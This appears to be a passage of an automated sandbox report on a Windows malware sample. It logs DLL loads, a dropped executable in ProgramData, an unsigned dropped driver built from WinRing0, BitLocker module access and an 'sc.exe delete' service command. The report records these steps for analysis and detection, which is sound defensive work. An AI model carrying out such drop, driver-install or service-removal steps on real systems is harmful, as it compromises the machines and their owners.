          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dll
          Source: C:\Windows\explorer.exeSection loaded: userenv.dll
          Source: C:\Windows\explorer.exeSection loaded: cryptbase.dll
          Source: C:\Windows\explorer.exeSection loaded: cryptsp.dll
          Source: C:\Windows\explorer.exeSection loaded: rsaenh.dll
          Source: C:\Windows\explorer.exeSection loaded: sspicli.dll
          Source: C:\Windows\explorer.exeSection loaded: powrprof.dll
          Source: C:\Windows\explorer.exeSection loaded: umpdc.dll
          Source: C:\Windows\explorer.exeSection loaded: mswsock.dll
          Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc6.dll
          Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc.dll
          Source: C:\Windows\explorer.exeSection loaded: dnsapi.dll
          Source: C:\Windows\explorer.exeSection loaded: napinsp.dll
          Source: C:\Windows\explorer.exeSection loaded: pnrpnsp.dll
          Source: C:\Windows\explorer.exeSection loaded: wshbth.dll
          Source: C:\Windows\explorer.exeSection loaded: nlaapi.dll
          Source: C:\Windows\explorer.exeSection loaded: winrnr.dll
          Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
          Source: C:\Windows\explorer.exeSection loaded: rasadhlp.dll
          Source: C:\Windows\explorer.exeSection loaded: fwpuclnt.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: amsi.dll
          Source: C:\Windows\explorer.exeSection loaded: profapi.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
          Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dll
          Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dll
          Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dll
          Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dll
          Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
          Source: NH95Vhokye.exeStatic PE information: Image base 0x140000000 > 0x60000000
          Source: NH95Vhokye.exeStatic file information: File size 2629120 > 1048576
          Source: NH95Vhokye.exeStatic PE information: Raw size of .data is bigger than: 0x100000 < 0x277a00
          Source: NH95Vhokye.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
          Source: Binary string: pY^HrnaHw{FJ`lBlvy] n8oNNRUYue$Hm\[>*keZyZEkpNXR*g\vKAlWLG[4lC`_.pdbRbFwf^<U-ev(Sz|Bsl| source: conhost.exe, 00000024.00000002.3777635928.0000012F452F0000.00000004.00000001.00020000.00000000.sdmp
          Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: gbljiflhnnhn.exe, 00000018.00000003.1384880346.000002B5197D0000.00000004.00000001.00020000.00000000.sdmp
          Source: NH95Vhokye.exeStatic PE information: section name: .00cfg
          Source: gbljiflhnnhn.exe.0.drStatic PE information: section name: .00cfg
          Source: C:\Users\user\Desktop\NH95Vhokye.exeCode function: 0_2_00007FF7657B1394 push qword ptr [00007FF7657BB004h]; ret 0_2_00007FF7657B1403
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeCode function: 24_2_00007FF7DE5A1394 push qword ptr [00007FF7DE5AB004h]; ret 24_2_00007FF7DE5A1403
          Source: C:\Windows\System32\conhost.exeCode function: 36_2_0000000140001394 push qword ptr [0000000140009004h]; ret 36_2_0000000140001403

          Persistence and Installation Behavior

          barindex
          Sample is not signed and drops a device driver
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeFile created: C:\Windows\TEMP\lwvtwwbvppbh.sysJump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeFile created: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeJump to dropped file
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeFile created: C:\Windows\Temp\lwvtwwbvppbh.sysJump to dropped file
          Source: C:\Users\user\Desktop\NH95Vhokye.exeFile created: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeJump to dropped file
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeFile created: C:\Windows\Temp\lwvtwwbvppbh.sysJump to dropped file
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "MVYPJKYP"

          Hooking and other Techniques for Hiding and Protection

          barindex
          Loading BitLocker PowerShell Module
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
